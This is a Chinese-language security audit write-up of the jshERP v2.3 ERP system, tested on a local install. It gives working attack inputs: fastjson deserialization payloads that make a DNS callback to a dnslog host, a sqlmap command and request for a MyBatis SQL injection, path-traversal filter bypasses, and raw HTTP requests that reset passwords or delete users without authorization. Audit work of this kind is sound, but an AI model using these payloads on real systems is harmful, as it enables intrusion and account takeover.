前言
介绍
华夏ERP(英文名:jshERP)是一款人气领先的国产ERP系统,目前拥有进销存+财务+生产的功能,我们对其2.3版本进行代码审计.
环境搭建
下载源码后,直接使用IDEA打开,因为项目使用springboot搭建,所以无需手动配置服务器。若再次打开时启动处报错,可删除文件夹.idea重新打开。
启动本地Mysql,在 src/main/resources/application.properties中修改Mysql账号密码。创建并导入数据库
create database java_sec_code;
use java_sec_code;
source \JSH_ERP-v2.3\docs\jsh_erp.sql;
漏洞分析
fastjson1
全局搜索parseObject,可以得到很多结果,这里需要耐心具体分析能不能利用。
我们先分析MaterialController.java这个类,可以看到从路径getMaterialEnableSerialNumberList获取search参数,并传给了JSON.parseObject()方法。
getMaterialEnableSerialNumberList的意思是”获取材料启用序列号列表”,且该方法为GET方法,浏览查找后台功能,不断点击,并使用burp抓包观察,最终在商品管理—序列号—新增—商品名称搜索框找到了这个路径。
将search的值替换为URL编码后的payload
{"@type":"java.net.Inet4Address","val":"ud50f5.dnslog.cn"}
%7b%22%40%74%79%70%65%22%3a%22%6a%61%76%61%2e%6e%65%74%2e%49%6e%65%74%34%41%64%64%72%65%73%73%22%2c%22%76%61%6c%22%3a%22%75%64%35%30%66%35%2e%64%6e%73%6c%6f%67%2e%63%6e%22%7d
发送请求
DNS回显
fastjson2
再来看一个调用链稍微长的fastjson漏洞触发点。
在StringUtil.java文件的getInfo方法里也用到了JSONObject.parseObject()方法.
再搜索何处调用了StringUtil.getInfo()方法,发现有很多结果
我们看UserComponent.java文件中的getUserList()方法。
同文件中的select()方法调用了getUserList()方法。
再使用全局搜寻select的方式去寻找调用似乎很困难,这里光标选中select,右键”查找使用“(Alt+F7)。
同样的方式再去寻找CommonQueryManager.java#select()的调用,最终来到了ResourceController.java的getList方法。到这里调用链便与前端交互了。
看下代码,从路径”/{apiName}/list”处获取请求参数”search“,将其添加到parameterMap中,再将其传入configResourceManager.select()方法,最终触发漏洞。
如何找到前端中对应的功能点呢?我这里还是开着burp,不断浏览点击前端页面,再在burp的HTTP history中过滤包含”/list“的请求。可以看到很多结果。
随便选一个,将search的值替换为URL编码后的payload,发送请求,可以收到DNS响应。
这个漏洞与前一个是一样的,只是触发过程中调用的函数多一些,故记录一下。
SQL注入
查看pom.xml文件,使用了mybatis,全局搜索”${“关键字
查看AccountItemMapperEx.xml文件的selectByConditionAccountItem()方法
再在java文件中查找调用selectByConditionAccountItem()方法的地方,有一处调用,在AccountItemMapperEx.java文件中
不断跟进调用,发现与fastjson的调用顺序是一样的,最终来到ResourceController.java的getList方法。
分析下代码流程,从请求中获取search值,放入parameterMap中,键为Constants.SEARCH。
调用CommonQueryManager.java的select函数
调用AccountItemComponent.java的select()和getAccountItemList()方法。先从parameterMap根据键值获取search,再从search获取“name”等的值
private List<?> getAccountItemList(Map<String, String> map) throws Exception{
String search = map.get(Constants.SEARCH);
String name = StringUtil.getInfo(search, "name");
Integer type = StringUtil.parseInteger(StringUtil.getInfo(search, "type"));
String remark = StringUtil.getInfo(search, "remark");
String order = QueryUtils.order(map);
return accountItemService.select(name, type, remark, QueryUtils.offset(map), QueryUtils.rows(map));
}
再调用AccountItemService.java的select方法,之后便是通过mabatis的映射accountItemMapperEx.selectByConditionAccountItem执行SQL查询了。
public List<AccountItem> select(String name, Integer type, String remark, int offset, int rows)throws Exception {
List<AccountItem> list=null;
try{
list = accountItemMapperEx.selectByConditionAccountItem(name, type, remark, offset, rows);
}catch(Exception e){
JshException.readFail(logger, e);
}
return list;
}
我们找一个该路径的请求包,发现search字段有一个键为”name”的json串。
直接放sqlmap,不加”–level 3″选项没跑出来
python.exe .\sqlmap.py -r .\t1.txt --dbms Mysql --level 3 --dbs
GET /unit/list?search=%7B%22name%22%3A%22*%22%7D¤tPage=1&pageSize=10 HTTP/1.1
Host: 127.0.0.1:8087
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1:8087/pages/manage/unit.html
Cookie: JSESSIONID=DCFDC311A8A42A734CD7775A58F7CBFE; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1685945479; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1685952011
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Filter越权漏洞
审计开始时除了关注pom文件,还需要关注的是各个filter文件。
项目只有一个LogCostFilter.java文件,使用@WebInitParam注解配置多个 name,对.css#.js#.jpg#.png#.gif#.ico,/user/login#/user/registerUser#/v2/api-docs(以”#”分隔)资源请求的时候不会进行拦截。
再看doFilter方法,如果包含register.html,login.html,doc.html页面,不阻拦
正常业务URL加白
http://127.0.0.1:8087/login.html/../home.html
资源加白
http://127.0.0.1:8087/1.css/../home.html
逻辑越权漏洞
重置密码
POST /doc.html/../user/resetPwd HTTP/1.1
Host: 127.0.0.1:8087
Content-Length: 6
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://127.0.0.1:8087
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.9.5.1000 Chrome/39.0.2146.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
DNT: 1
Referer: http://127.0.0.1:8087/pages/manage/user.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN
Connection: close
id=131
删除用户
POST /user/deleteUser HTTP/1.1
Host: 192.168.159.1:8087
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 7
Origin: http://192.168.159.1:8087
Connection: close
Referer: http://192.168.159.1:8087/pages/manage/user.html
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1685963817; JSESSIONID=F2ECAEDEF58B125CF730FA855FBBF6DA; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1685965859
ids=131
XSS
网站进行XSS过滤,很多可输入字符的地方都可以造成存储下XSS.